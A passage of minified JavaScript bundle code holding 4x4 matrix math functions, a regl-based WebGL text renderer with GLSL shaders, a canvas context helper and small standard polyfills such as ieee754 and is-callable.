e[0]=i*o+v*g+T*a+w*y,e[1]=i*L+v*t+T*l+w*c,e[2]=i*S+v*r+T*u+w*b,e[3]=i*d+v*f+T*s+w*h,i=P[4],v=P[5],T=P[6],w=P[7],e[4]=i*o+v*g+T*a+w*y,e[5]=i*L+v*t+T*l+w*c,e[6]=i*S+v*r+T*u+w*b,e[7]=i*d+v*f+T*s+w*h,i=P[8],v=P[9],T=P[10],w=P[11],e[8]=i*o+v*g+T*a+w*y,e[9]=i*L+v*t+T*l+w*c,e[10]=i*S+v*r+T*u+w*b,e[11]=i*d+v*f+T*s+w*h,i=P[12],v=P[13],T=P[14],w=P[15],e[12]=i*o+v*g+T*a+w*y,e[13]=i*L+v*t+T*l+w*c,e[14]=i*S+v*r+T*u+w*b,e[15]=i*d+v*f+T*s+w*h,e}},60378:function(te){te.exports=Z;function Z(e,M,P,o,L,S,d){var g=1/(M-P),t=1/(o-L),r=1/(S-d);return e[0]=-2*g,e[1]=0,e[2]=0,e[3]=0,e[4]=0,e[5]=-2*t,e[6]=0,e[7]=0,e[8]=0,e[9]=0,e[10]=2*r,e[11]=0,e[12]=(M+P)*g,e[13]=(L+o)*t,e[14]=(d+S)*r,e[15]=1,e}},7864:function(te){te.exports=Z;function Z(e,M,P,o,L){var S=1/Math.tan(M/2),d=1/(o-L);return e[0]=S/P,e[1]=0,e[2]=0,e[3]=0,e[4]=0,e[5]=S,e[6]=0,e[7]=0,e[8]=0,e[9]=0,e[10]=(L+o)*d,e[11]=-1,e[12]=0,e[13]=0,e[14]=2*L*o*d,e[15]=0,e}},35279:function(te){te.exports=Z;function Z(e,M,P,o){var L=Math.tan(M.upDegrees*Math.PI/180),S=Math.tan(M.downDegrees*Math.PI/180),d=Math.tan(M.leftDegrees*Math.PI/180),g=Math.tan(M.rightDegrees*Math.PI/180),t=2/(d+g),r=2/(L+S);return e[0]=t,e[1]=0,e[2]=0,e[3]=0,e[4]=0,e[5]=r,e[6]=0,e[7]=0,e[8]=-((d-g)*t*.5),e[9]=(L-S)*r*.5,e[10]=o/(P-o),e[11]=-1,e[12]=0,e[13]=0,e[14]=o*P/(P-o),e[15]=0,e}},65074:function(te){te.exports=Z;function Z(e,M,P,o){var L=o[0],S=o[1],d=o[2],g=Math.sqrt(L*L+S*S+d*d),t,r,f,a,l,u,s,y,c,b,h,i,v,T,w,E,p,A,m,n,C,x,I,k;return Math.abs(g)<1e-6?null:(g=1/g,L*=g,S*=g,d*=g,t=Math.sin(P),r=Math.cos(P),f=1-r,a=M[0],l=M[1],u=M[2],s=M[3],y=M[4],c=M[5],b=M[6],h=M[7],i=M[8],v=M[9],T=M[10],w=M[11],E=L*L*f+r,p=S*L*f+d*t,A=d*L*f-S*t,m=L*S*f-d*t,n=S*S*f+r,C=d*S*f+L*t,x=L*d*f+S*t,I=S*d*f-L*t,k=d*d*f+r,e[0]=a*E+y*p+i*A,e[1]=l*E+c*p+v*A,e[2]=u*E+b*p+T*A,e[3]=s*E+h*p+w*A,e[4]=a*m+y*n+i*C,e[5]=l*m+c*n+v*C,e[6]=u*m+b*n+T*C,e[7]=s*m+h*n+w*C,e[8]=a*x+y*I+i*k,e[9]=l*x+c*I+v*k,e[10]=u*x+b*I+T*k,e[11]=s*x+h*I+w*k,M!==e&&(e[12]=M[12],e[13]=M[13],e[14]=M[14],e[15]=M[15]),e)}},35545:function(te){te.exports=Z;function Z(e,M,P){var o=Math.sin(P),L=Math.cos(P),S=M[4],d=M[5],g=M[6],t=M[7],r=M[8],f=M[9],a=M[10],l=M[11];return M!==e&&(e[0]=M[0],e[1]=M[1],e[2]=M[2],e[3]=M[3],e[12]=M[12],e[13]=M[13],e[14]=M[14],e[15]=M[15]),e[4]=S*L+r*o,e[5]=d*L+f*o,e[6]=g*L+a*o,e[7]=t*L+l*o,e[8]=r*L-S*o,e[9]=f*L-d*o,e[10]=a*L-g*o,e[11]=l*L-t*o,e}},94918:function(te){te.exports=Z;function Z(e,M,P){var o=Math.sin(P),L=Math.cos(P),S=M[0],d=M[1],g=M[2],t=M[3],r=M[8],f=M[9],a=M[10],l=M[11];return M!==e&&(e[4]=M[4],e[5]=M[5],e[6]=M[6],e[7]=M[7],e[12]=M[12],e[13]=M[13],e[14]=M[14],e[15]=M[15]),e[0]=S*L-r*o,e[1]=d*L-f*o,e[2]=g*L-a*o,e[3]=t*L-l*o,e[8]=S*o+r*L,e[9]=d*o+f*L,e[10]=g*o+a*L,e[11]=t*o+l*L,e}},15692:function(te){te.exports=Z;function Z(e,M,P){var o=Math.sin(P),L=Math.cos(P),S=M[0],d=M[1],g=M[2],t=M[3],r=M[4],f=M[5],a=M[6],l=M[7];return M!==e&&(e[8]=M[8],e[9]=M[9],e[10]=M[10],e[11]=M[11],e[12]=M[12],e[13]=M[13],e[14]=M[14],e[15]=M[15]),e[0]=S*L+r*o,e[1]=d*L+f*o,e[2]=g*L+a*o,e[3]=t*L+l*o,e[4]=r*L-S*o,e[5]=f*L-d*o,e[6]=a*L-g*o,e[7]=l*L-t*o,e}},10789:function(te){te.exports=Z;function Z(e,M,P){var o=P[0],L=P[1],S=P[2];return e[0]=M[0]*o,e[1]=M[1]*o,e[2]=M[2]*o,e[3]=M[3]*o,e[4]=M[4]*L,e[5]=M[5]*L,e[6]=M[6]*L,e[7]=M[7]*L,e[8]=M[8]*S,e[9]=M[9]*S,e[10]=M[10]*S,e[11]=M[11]*S,e[12]=M[12],e[13]=M[13],e[14]=M[14],e[15]=M[15],e}},6726:function(te){te.exports=Z;function Z(e){return"mat4("+e[0]+", "+e[1]+", "+e[2]+", "+e[3]+", "+e[4]+", "+e[5]+", "+e[6]+", "+e[7]+", "+e[8]+", "+e[9]+", "+e[10]+", "+e[11]+", "+e[12]+", "+e[13]+", "+e[14]+", "+e[15]+")"}},31283:function(te){te.exports=Z;function Z(e,M,P){var o=P[0],L=P[1],S=P[2],d,g,t,r,f,a,l,u,s,y,c,b;return M===e?(e[12]=M[0]*o+M[4]*L+M[8]*S+M[12],e[13]=M[1]*o+M[5]*L+M[9]*S+M[13],e[14]=M[2]*o+M[6]*L+M[10]*S+M[14],e[15]=M[3]*o+M[7]*L+M[11]*S+M[15]):(d=M[0],g=M[1],t=M[2],r=M[3],f=M[4],a=M[5],l=M[6],u=M[7],s=M[8],y=M[9],c=M[10],b=M[11],e[0]=d,e[1]=g,e[2]=t,e[3]=r,e[4]=f,e[5]=a,e[6]=l,e[7]=u,e[8]=s,e[9]=y,e[10]=c,e[11]=b,e[12]=d*o+f*L+s*S+M[12],e[13]=g*o+a*L+y*S+M[13],e[14]=t*o+l*L+c*S+M[14],e[15]=r*o+u*L+b*S+M[15]),e}},88654:function(te){te.exports=Z;function Z(e,M){if(e===M){var P=M[1],o=M[2],L=M[3],S=M[6],d=M[7],g=M[11];e[1]=M[4],e[2]=M[8],e[3]=M[12],e[4]=P,e[6]=M[9],e[7]=M[13],e[8]=o,e[9]=S,e[11]=M[14],e[12]=L,e[13]=d,e[14]=g}else e[0]=M[0],e[1]=M[4],e[2]=M[8],e[3]=M[12],e[4]=M[1],e[5]=M[5],e[6]=M[9],e[7]=M[13],e[8]=M[2],e[9]=M[6],e[10]=M[10],e[11]=M[14],e[12]=M[3],e[13]=M[7],e[14]=M[11],e[15]=M[15];return e}},42505:function(te,Z,e){var M=e(72791),P=e(71299),o=e(98580),L=e(12018),S=e(83522),d=e(25075),g=e(68016),t=e(58404),r=e(18863),f=e(10973),a=e(25677),l=e(75686),u=e(53545),s=e(56131),y=e(32879),c=e(30120),b=e(13547),h=b.nextPow2,i=new S,v=!1;if(document.body){var T=document.body.appendChild(document.createElement("div"));T.style.font="italic small-caps bold condensed 16px/2 cursive",getComputedStyle(T).fontStretch&&(v=!0),document.body.removeChild(T)}var w=function(A){E(A)?(A={regl:A},this.gl=A.regl._gl):this.gl=L(A),this.shader=i.get(this.gl),this.shader?this.regl=this.shader.regl:this.regl=A.regl||o({gl:this.gl}),this.charBuffer=this.regl.buffer({type:"uint8",usage:"stream"}),this.sizeBuffer=this.regl.buffer({type:"float",usage:"stream"}),this.shader||(this.shader=this.createShader(),i.set(this.gl,this.shader)),this.batch=[],this.fontSize=[],this.font=[],this.fontAtlas=[],this.draw=this.shader.draw.bind(this),this.render=function(){this.regl._refresh(),this.draw(this.batch)},this.canvas=this.gl.canvas,this.update(f(A)?A:{})};w.prototype.createShader=function(){var A=this.regl,m=A({blend:{enable:!0,color:[0,0,0,1],func:{srcRGB:"src alpha",dstRGB:"one minus src alpha",srcAlpha:"one minus dst alpha",dstAlpha:"one"}},stencil:{enable:!1},depth:{enable:!1},count:A.prop("count"),offset:A.prop("offset"),attributes:{charOffset:{offset:4,stride:8,buffer:A.this("sizeBuffer")},width:{offset:0,stride:8,buffer:A.this("sizeBuffer")},char:A.this("charBuffer"),position:A.this("position")},uniforms:{atlasSize:function(C,x){return[x.atlas.width,x.atlas.height]},atlasDim:function(C,x){return[x.atlas.cols,x.atlas.rows]},atlas:function(C,x){return x.atlas.texture},charStep:function(C,x){return x.atlas.step},em:function(C,x){return x.atlas.em},color:A.prop("color"),opacity:A.prop("opacity"),viewport:A.this("viewportArray"),scale:A.this("scale"),align:A.prop("align"),baseline:A.prop("baseline"),translate:A.this("translate"),positionOffset:A.prop("positionOffset")},primitive:"points",viewport:A.this("viewport"),vert:`
			precision highp float;
			attribute float width, charOffset, char;
			attribute vec2 position;
			uniform float fontSize, charStep, em, align, baseline;
			uniform vec4 viewport;
			uniform vec4 color;
			uniform vec2 atlasSize, atlasDim, scale, translate, positionOffset;
			varying vec2 charCoord, charId;
			varying float charWidth;
			varying vec4 fontColor;
			void main () {
				vec2 offset = floor(em * (vec2(align + charOffset, baseline)
					+ vec2(positionOffset.x, -positionOffset.y)))
					/ (viewport.zw * scale.xy);

				vec2 position = (position + translate) * scale;
				position += offset * scale;

				charCoord = position * viewport.zw + viewport.xy;

				gl_Position = vec4(position * 2. - 1., 0, 1);

				gl_PointSize = charStep;

				charId.x = mod(char, atlasDim.x);
				charId.y = floor(char / atlasDim.x);

				charWidth = width * em;

				fontColor = color / 255.;
			}`,frag:`
			precision highp float;
			uniform float fontSize, charStep, opacity;
			uniform vec2 atlasSize;
			uniform vec4 viewport;
			uniform sampler2D atlas;
			varying vec4 fontColor;
			varying vec2 charCoord, charId;
			varying float charWidth;

			float lightness(vec4 color) {
				return color.r * 0.299 + color.g * 0.587 + color.b * 0.114;
			}

			void main () {
				vec2 uv = gl_FragCoord.xy - charCoord + charStep * .5;
				float halfCharStep = floor(charStep * .5 + .5);

				// invert y and shift by 1px (FF expecially needs that)
				uv.y = charStep - uv.y;

				// ignore points outside of character bounding box
				float halfCharWidth = ceil(charWidth * .5);
				if (floor(uv.x) > halfCharStep + halfCharWidth ||
					floor(uv.x) < halfCharStep - halfCharWidth) return;

				uv += charId * charStep;
				uv = uv / atlasSize;

				vec4 color = fontColor;
				vec4 mask = texture2D(atlas, uv);

				float maskY = lightness(mask);
				// float colorY = lightness(color);
				color.a *= maskY;
				color.a *= opacity;

				// color.a += .1;

				// antialiasing, see yiq color space y-channel formula
				// color.rgb += (1. - color.rgb) * (1. - mask.rgb);

				gl_FragColor = color;
			}`}),n={};return{regl:A,draw:m,atlas:n}},w.prototype.update=function(A){var m=this;if(typeof A=="string")A={text:A};else if(!A)return;A=P(A,{position:"position positions coord coords coordinates",font:"font fontFace fontface typeface cssFont css-font family fontFamily",fontSize:"fontSize fontsize size font-size",text:"text texts chars characters value values symbols",align:"align alignment textAlign textbaseline",baseline:"baseline textBaseline textbaseline",direction:"dir direction textDirection",color:"color colour fill fill-color fillColor textColor textcolor",kerning:"kerning kern",range:"range dataBox",viewport:"vp viewport viewBox viewbox viewPort",opacity:"opacity alpha transparency visible visibility opaque",offset:"offset positionOffset padding shift indent indentation"},!0),A.opacity!=null&&(Array.isArray(A.opacity)?this.opacity=A.opacity.map(function(Ce){return parseFloat(Ce)}):this.opacity=parseFloat(A.opacity)),A.viewport!=null&&(this.viewport=r(A.viewport),this.viewportArray=[this.viewport.x,this.viewport.y,this.viewport.width,this.viewport.height]),this.viewport==null&&(this.viewport={x:0,y:0,width:this.gl.drawingBufferWidth,height:this.gl.drawingBufferHeight},this.viewportArray=[this.viewport.x,this.viewport.y,this.viewport.width,this.viewport.height]),A.kerning!=null&&(this.kerning=A.kerning),A.offset!=null&&(typeof A.offset=="number"&&(A.offset=[A.offset,0]),this.positionOffset=c(A.offset)),A.direction&&(this.direction=A.direction),A.range&&(this.range=A.range,this.scale=[1/(A.range[2]-A.range[0]),1/(A.range[3]-A.range[1])],this.translate=[-A.range[0],-A.range[1]]),A.scale&&(this.scale=A.scale),A.translate&&(this.translate=A.translate),this.scale||(this.scale=[1/this.viewport.width,1/this.viewport.height]),this.translate||(this.translate=[0,0]),!this.font.length&&!A.font&&(A.font=w.baseFontSize+"px sans-serif");var n=!1,C=!1;if(A.font&&(Array.isArray(A.font)?A.font:[A.font]).forEach(function(Ce,Be){if(typeof Ce=="string")try{Ce=M.parse(Ce)}catch{Ce=M.parse(w.baseFontSize+"px "+Ce)}else Ce=M.parse(M.stringify(Ce));var $e=M.stringify({size:w.baseFontSize,family:Ce.family,stretch:v?Ce.stretch:void 0,variant:Ce.variant,weight:Ce.weight,style:Ce.style}),Xe=a(Ce.size),Ze=Math.round(Xe[0]*l(Xe[1]));if(Ze!==m.fontSize[Be]&&(C=!0,m.fontSize[Be]=Ze),(!m.font[Be]||$e!=m.font[Be].baseString)&&(n=!0,m.font[Be]=w.fonts[$e],!m.font[Be])){var Ke=Ce.family.join(", "),st=[Ce.style];Ce.style!=Ce.variant&&st.push(Ce.variant),Ce.variant!=Ce.weight&&st.push(Ce.weight),v&&Ce.weight!=Ce.stretch&&st.push(Ce.stretch),m.font[Be]={baseString:$e,family:Ke,weight:Ce.weight,stretch:Ce.stretch,style:Ce.style,variant:Ce.variant,width:{},kerning:{},metrics:y(Ke,{origin:"top",fontSize:w.baseFontSize,fontStyle:st.join(" ")})},w.fonts[$e]=m.font[Be]}}),(n||C)&&this.font.forEach(function(Ce,Be){var $e=M.stringify({size:m.fontSize[Be],family:Ce.family,stretch:v?Ce.stretch:void 0,variant:Ce.variant,weight:Ce.weight,style:Ce.style});if(m.fontAtlas[Be]=m.shader.atlas[$e],!m.fontAtlas[Be]){var Xe=Ce.metrics;m.shader.atlas[$e]=m.fontAtlas[Be]={fontString:$e,step:Math.ceil(m.fontSize[Be]*Xe.bottom*.5)*2,em:m.fontSize[Be],cols:0,rows:0,height:0,width:0,chars:[],ids:{},texture:m.regl.texture()}}A.text==null&&(A.text=m.text)}),typeof A.text=="string"&&A.position&&A.position.length>2){for(var x=Array(A.position.length*.5),I=0;I<x.length;I++)x[I]=A.text;A.text=x}var k;if(A.text!=null||n){if(this.textOffsets=[0],Array.isArray(A.text)){this.count=A.text[0].length,this.counts=[this.count];for(var B=1;B<A.text.length;B++)this.textOffsets[B]=this.textOffsets[B-1]+A.text[B-1].length,this.count+=A.text[B].length,this.counts.push(A.text[B].length);this.text=A.text.join("")}else this.text=A.text,this.count=this.text.length,this.counts=[this.count];k=[],this.font.forEach(function(Ce,Be){w.atlasContext.font=Ce.baseString;for(var $e=m.fontAtlas[Be],Xe=0;Xe<m.text.length;Xe++){var Ze=m.text.charAt(Xe);if($e.ids[Ze]==null&&($e.ids[Ze]=$e.chars.length,$e.chars.push(Ze),k.push(Ze)),Ce.width[Ze]==null&&(Ce.width[Ze]=w.atlasContext.measureText(Ze).width/w.baseFontSize,m.kerning)){var Ke=[];for(var st in Ce.width)Ke.push(st+Ze,Ze+st);s(Ce.kerning,u(Ce.family,{pairs:Ke}))}}})}if(A.position)if(A.position.length>2){for(var _=!A.position[0].length,F=t.mallocFloat(this.count*2),O=0,z=0;O<this.counts.length;O++){var N=this.counts[O];if(_)for(var G=0;G<N;G++)F[z++]=A.position[O*2],F[z++]=A.position[O*2+1];else for(var J=0;J<N;J++)F[z++]=A.position[O][0],F[z++]=A.position[O][1]}this.position.call?this.position({type:"float",data:F}):this.position=this.regl.buffer({type:"float",data:F}),t.freeFloat(F)}else this.position.destroy&&this.position.destroy(),this.position={constant:A.position};if(A.text||n){var q=t.mallocUint8(this.count),ne=t.mallocFloat(this.count*2);this.textWidth=[];for(var fe=0,X=0;fe<this.counts.length;fe++){for(var W=this.counts[fe],V=this.font[fe]||this.font[0],Y=this.fontAtlas[fe]||this.fontAtlas[0],Q=0;Q<W;Q++){var ie=this.text.charAt(X),j=this.text.charAt(X-1);if(q[X]=Y.ids[ie],ne[X*2]=V.width[ie],Q){var K=ne[X*2-2],oe=ne[X*2],re=ne[X*2-1],le=re+K*.5+oe*.5;if(this.kerning){var pe=V.kerning[j+ie];pe&&(le+=pe*.001)}ne[X*2+1]=le}else ne[X*2+1]=ne[X*2]*.5;X++}this.textWidth.push(ne.length?ne[X*2-2]*.5+ne[X*2-1]:0)}A.align||(A.align=this.align),this.charBuffer({data:q,type:"uint8",usage:"stream"}),this.sizeBuffer({data:ne,type:"float",usage:"stream"}),t.freeUint8(q),t.freeFloat(ne),k.length&&this.font.forEach(function(Ce,Be){var $e=m.fontAtlas[Be],Xe=$e.step,Ze=Math.floor(w.maxAtlasSize/Xe),Ke=Math.min(Ze,$e.chars.length),st=Math.ceil($e.chars.length/Ke),lt=h(Ke*Xe),ut=h(st*Xe);$e.width=lt,$e.height=ut,$e.rows=st,$e.cols=Ke,$e.em&&$e.texture({data:g({canvas:w.atlasCanvas,font:$e.fontString,chars:$e.chars,shape:[lt,ut],step:[Xe,Xe]})})})}if(A.align&&(this.align=A.align,this.alignOffset=this.textWidth.map(function(Ce,Be){var $e=Array.isArray(m.align)?m.align.length>1?m.align[Be]:m.align[0]:m.align;if(typeof $e=="number")return $e;switch($e){case"right":case"end":return-Ce;case"center":case"centre":case"middle":return-Ce*.5}return 0})),this.baseline==null&&A.baseline==null&&(A.baseline=0),A.baseline!=null&&(this.baseline=A.baseline,Array.isArray(this.baseline)||(this.baseline=[this.baseline]),this.baselineOffset=this.baseline.map(function(Ce,Be){var $e=(m.font[Be]||m.font[0]).metrics,Xe=0;return Xe+=$e.bottom*.5,typeof Ce=="number"?Xe+=Ce-$e.baseline:Xe+=-$e[Ce],Xe*=-1,Xe})),A.color!=null)if(A.color||(A.color="transparent"),typeof A.color=="string"||!isNaN(A.color))this.color=d(A.color,"uint8");else{var we;if(typeof A.color[0]=="number"&&A.color.length>this.counts.length){var xe=A.color.length;we=t.mallocUint8(xe);for(var ke=(A.color.subarray||A.color.slice).bind(A.color),_e=0;_e<xe;_e+=4)we.set(d(ke(_e,_e+4),"uint8"),_e)}else{var be=A.color.length;we=t.mallocUint8(be*4);for(var ge=0;ge<be;ge++)we.set(d(A.color[ge]||0,"uint8"),ge*4)}this.color=we}if(A.position||A.text||A.color||A.baseline||A.align||A.font||A.offset||A.opacity){var Te=this.color.length>4||this.baselineOffset.length>1||this.align&&this.align.length>1||this.fontAtlas.length>1||this.positionOffset.length>2;if(Te){var Fe=Math.max(this.position.length*.5||0,this.color.length*.25||0,this.baselineOffset.length||0,this.alignOffset.length||0,this.font.length||0,this.opacity.length||0,this.positionOffset.length*.5||0);this.batch=Array(Fe);for(var Oe=0;Oe<this.batch.length;Oe++)this.batch[Oe]={count:this.counts.length>1?this.counts[Oe]:this.counts[0],offset:this.textOffsets.length>1?this.textOffsets[Oe]:this.textOffsets[0],color:this.color?this.color.length<=4?this.color:this.color.subarray(Oe*4,Oe*4+4):[0,0,0,255],opacity:Array.isArray(this.opacity)?this.opacity[Oe]:this.opacity,baseline:this.baselineOffset[Oe]!=null?this.baselineOffset[Oe]:this.baselineOffset[0],align:this.align?this.alignOffset[Oe]!=null?this.alignOffset[Oe]:this.alignOffset[0]:0,atlas:this.fontAtlas[Oe]||this.fontAtlas[0],positionOffset:this.positionOffset.length>2?this.positionOffset.subarray(Oe*2,Oe*2+2):this.positionOffset}}else this.count?this.batch=[{count:this.count,offset:0,color:this.color||[0,0,0,255],opacity:Array.isArray(this.opacity)?this.opacity[0]:this.opacity,baseline:this.baselineOffset[0],align:this.alignOffset?this.alignOffset[0]:0,atlas:this.fontAtlas[0],positionOffset:this.positionOffset}]:this.batch=[]}},w.prototype.destroy=function(){},w.prototype.kerning=!0,w.prototype.position={constant:new Float32Array(2)},w.prototype.translate=null,w.prototype.scale=null,w.prototype.font=null,w.prototype.text="",w.prototype.positionOffset=[0,0],w.prototype.opacity=1,w.prototype.color=new Uint8Array([0,0,0,255]),w.prototype.alignOffset=[0,0],w.maxAtlasSize=1024,w.atlasCanvas=document.createElement("canvas"),w.atlasContext=w.atlasCanvas.getContext("2d",{alpha:!1}),w.baseFontSize=64,w.fonts={};function E(p){return typeof p=="function"&&p._gl&&p.prop&&p.texture&&p.buffer}te.exports=w},12018:function(te,Z,e){var M=e(71299);te.exports=function(t){if(t?typeof t=="string"&&(t={container:t}):t={},o(t)?t={container:t}:L(t)?t={container:t}:S(t)?t={gl:t}:t=M(t,{container:"container target element el canvas holder parent parentNode wrapper use ref root node",gl:"gl context webgl glContext",attrs:"attributes attrs contextAttributes",pixelRatio:"pixelRatio pxRatio px ratio pxratio pixelratio",width:"w width",height:"h height"},!0),t.pixelRatio||(t.pixelRatio=e.g.pixelRatio||1),t.gl)return t.gl;if(t.canvas&&(t.container=t.canvas.parentNode),t.container){if(typeof t.container=="string"){var r=document.querySelector(t.container);if(!r)throw Error("Element "+t.container+" is not found");t.container=r}o(t.container)?(t.canvas=t.container,t.container=t.canvas.parentNode):t.canvas||(t.canvas=d(),t.container.appendChild(t.canvas),P(t))}else if(!t.canvas)if(typeof document<"u")t.container=document.body||document.documentElement,t.canvas=d(),t.container.appendChild(t.canvas),P(t);else throw Error("Not DOM environment. Use headless-gl.");return t.gl||["webgl","experimental-webgl","webgl-experimental"].some(function(f){try{t.gl=t.canvas.getContext(f,t.attrs)}catch{}return t.gl}),t.gl};function P(g){if(g.container)if(g.container==document.body)document.body.style.width||(g.canvas.width=g.width||g.pixelRatio*e.g.innerWidth),document.body.style.height||(g.canvas.height=g.height||g.pixelRatio*e.g.innerHeight);else{var t=g.container.getBoundingClientRect();g.canvas.width=g.width||t.right-t.left,g.canvas.height=g.height||t.bottom-t.top}}function o(g){return typeof g.getContext=="function"&&"width"in g&&"height"in g}function L(g){return typeof g.nodeName=="string"&&typeof g.appendChild=="function"&&typeof g.getBoundingClientRect=="function"}function S(g){return typeof g.drawArrays=="function"||typeof g.drawElements=="function"}function d(){var g=document.createElement("canvas");return g.style.position="absolute",g.style.top=0,g.style.left=0,g}},56068:function(te){te.exports=function(Z){typeof Z=="string"&&(Z=[Z]);for(var e=[].slice.call(arguments,1),M=[],P=0;P<Z.length-1;P++)M.push(Z[P],e[P]||"");return M.push(Z[P]),M.join("")}},40383:function(te,Z,e){var M=e(68318),P=M("%Object.getOwnPropertyDescriptor%",!0);if(P)try{P([],"length")}catch{P=null}te.exports=P},57035:function(te,Z,e){var M=e(54404),P;typeof e.g.matchMedia=="function"?P=!e.g.matchMedia("(hover: none)").matches:P=M,te.exports=P},38520:function(te,Z,e){var M=e(54404);function P(){var o=!1;try{var L=Object.defineProperty({},"passive",{get:function(){o=!0}});window.addEventListener("test",null,L),window.removeEventListener("test",null,L)}catch{o=!1}return o}te.exports=M&&P()},55622:function(te,Z,e){var M=e(68318),P=M("%Object.defineProperty%",!0),o=function(){if(P)try{return P({},"a",{value:1}),!0}catch{return!1}return!1};o.hasArrayLengthDefineBug=function(){if(!o())return null;try{return P([],"length",{value:1}).length!==1}catch{return!0}},te.exports=o},57877:function(te,Z,e){var M=typeof Symbol<"u"&&Symbol,P=e(35638);te.exports=function(){return typeof M!="function"||typeof Symbol!="function"||typeof M("foo")!="symbol"||typeof Symbol("bar")!="symbol"?!1:P()}},35638:function(te){te.exports=function(){if(typeof Symbol!="function"||typeof Object.getOwnPropertySymbols!="function")return!1;if(typeof Symbol.iterator=="symbol")return!0;var e={},M=Symbol("test"),P=Object(M);if(typeof M=="string"||Object.prototype.toString.call(M)!=="[object Symbol]"||Object.prototype.toString.call(P)!=="[object Symbol]")return!1;var o=42;e[M]=o;for(M in e)return!1;if(typeof Object.keys=="function"&&Object.keys(e).length!==0||typeof Object.getOwnPropertyNames=="function"&&Object.getOwnPropertyNames(e).length!==0)return!1;var L=Object.getOwnPropertySymbols(e);if(L.length!==1||L[0]!==M||!Object.prototype.propertyIsEnumerable.call(e,M))return!1;if(typeof Object.getOwnPropertyDescriptor=="function"){var S=Object.getOwnPropertyDescriptor(e,M);if(S.value!==o||S.enumerable!==!0)return!1}return!0}},84543:function(te,Z,e){var M=e(35638);te.exports=function(){return M()&&!!Symbol.toStringTag}},35065:function(te,Z,e){var M=e(77575);te.exports=M.call(Function.call,Object.prototype.hasOwnProperty)},95280:function(te,Z){/*! ieee754. BSD-3-Clause License. Feross Aboukhadijeh <https://feross.org/opensource> */Z.read=function(e,M,P,o,L){var S,d,g=L*8-o-1,t=(1<<g)-1,r=t>>1,f=-7,a=P?L-1:0,l=P?-1:1,u=e[M+a];for(a+=l,S=u&(1<<-f)-1,u>>=-f,f+=g;f>0;S=S*256+e[M+a],a+=l,f-=8);for(d=S&(1<<-f)-1,S>>=-f,f+=o;f>0;d=d*256+e[M+a],a+=l,f-=8);if(S===0)S=1-r;else{if(S===t)return d?NaN:(u?-1:1)*(1/0);d=d+Math.pow(2,o),S=S-r}return(u?-1:1)*d*Math.pow(2,S-o)},Z.write=function(e,M,P,o,L,S){var d,g,t,r=S*8-L-1,f=(1<<r)-1,a=f>>1,l=L===23?Math.pow(2,-24)-Math.pow(2,-77):0,u=o?0:S-1,s=o?1:-1,y=M<0||M===0&&1/M<0?1:0;for(M=Math.abs(M),isNaN(M)||M===1/0?(g=isNaN(M)?1:0,d=f):(d=Math.floor(Math.log(M)/Math.LN2),M*(t=Math.pow(2,-d))<1&&(d--,t*=2),d+a>=1?M+=l/t:M+=l*Math.pow(2,1-a),M*t>=2&&(d++,t/=2),d+a>=f?(g=0,d=f):d+a>=1?(g=(M*t-1)*Math.pow(2,L),d=d+a):(g=M*Math.pow(2,a-1)*Math.pow(2,L),d=0));L>=8;e[P+u]=g&255,u+=s,g/=256,L-=8);for(d=d<<L|g,r+=L;r>0;e[P+u]=d&255,u+=s,d/=256,r-=8);e[P+u-s]|=y*128}},42018:function(te){typeof Object.create=="function"?te.exports=function(e,M){M&&(e.super_=M,e.prototype=Object.create(M.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}))}:te.exports=function(e,M){if(M){e.super_=M;var P=function(){};P.prototype=M.prototype,e.prototype=new P,e.prototype.constructor=e}}},47216:function(te,Z,e){var M=e(84543)(),P=e(6614),o=P("Object.prototype.toString"),L=function(t){return M&&t&&typeof t=="object"&&Symbol.toStringTag in t?!1:o(t)==="[object Arguments]"},S=function(t){return L(t)?!0:t!==null&&typeof t=="object"&&typeof t.length=="number"&&t.length>=0&&o(t)!=="[object Array]"&&o(t.callee)==="[object Function]"},d=function(){return L(arguments)}();L.isLegacyArguments=S,te.exports=d?L:S},54404:function(te){te.exports=!0},85395:function(te){var Z=Function.prototype.toString,e=typeof Reflect=="object"&&Reflect!==null&&Reflect.apply,M,P;if(typeof e=="function"&&typeof Object.defineProperty=="function")try{M=Object.defineProperty({},"length",{get:function(){throw P}}),P={},e(function(){throw 42},null,M)}catch(b){b!==P&&(e=null)}else e=null;var o=/^\s*class\b/,L=function(h){try{var i=Z.call(h);return o.test(i)}catch{return!1}},S=function(h){try{return L(h)?!1:(Z.call(h),!0)}catch{return!1}},d=Object.prototype.toString,g="[object Object]",t="[object Function]",r="[object GeneratorFunction]",f="[object HTMLAllCollection]",a="[object HTML document.all class]",l="[object HTMLCollection]",u=typeof Symbol=="function"&&!!Symbol.toStringTag,s=!(0 in[,]),y=function(){return!1};if(typeof document=="object"){var c=document.all;d.call(c)===d.call(document.all)&&(y=function(h){if((s||!h)&&(typeof h>"u"||typeof h=="object"))try{var i=d.call(h);return(i===f||i===a||i===l||i===g)&&h("")==null}catch{}return!1})}te.exports=e?function(h){if(y(h))return!0;if(!h||typeof h!="function"&&typeof h!="object")return!1;try{e(h,null,M)}catch(i){if(i!==P)return!1}return!L(h)&&S(h)}:function(h){if(y(h))return!0;if(!h||typeof h!="function"&&typeof h!="object")return!1;if(u)return S(h);if(L(h))return!1;var i=d.call(h);return i!==t&&i!==r&&!/^\[object HTML/.test(i)?!1:S(h)}},65481:function(te,Z,e){var M=Object.prototype.toString,P=Function.prototype.toString,o=/^\s*(?:function)?\*/,L=e(84543)(),S=Object.getPrototypeOf,d=function(){if(!L)return!1;try{return Function("return function*() {}")()}catch{}},g;te.exports=function(r){if(typeof r!="function")return!1;if(o.test(P.call(r)))return!0;if(!L){var f=M.call(r);return f==="[object GeneratorFunction]"}if(!S)return!1;if(typeof g>"u"){var a=d();g=a?S(a):!1}return S(r)===g}},62683:function(te){te.exports=typeof navigator<"u"&&(/MSIE/.test(navigator.userAgent)||/Trident\//.test(navigator.appVersion))},64274:function(te){te.exports=function(e){return e!==e}},15567:function(te,Z,e){var M=e(68222),P=e(17045),o=e(64274),L=e(14922),S=e(22442),d=M(L(),Number);P(d,{getPolyfill:L,implementation:o,shim:S}),te.exports=d},14922:function(te,Z,e){var M=e(64274);te.exports=function(){return Number.isNaN&&Number.isNaN(NaN)&&!Number.isNaN("a")?Number.isNaN:M}},22442:function(te,Z,e){var M=e(17045),P=e(14922);te.exports=function(){var L=P();return M(Number,{isNaN:L},{isNaN:function(){return Number.isNaN!==L}}),L}},64941:function(te){te.exports=function(Z){var e=typeof Z;return Z!==null&&(e==="object"||e==="function")}},10973:function(te){var 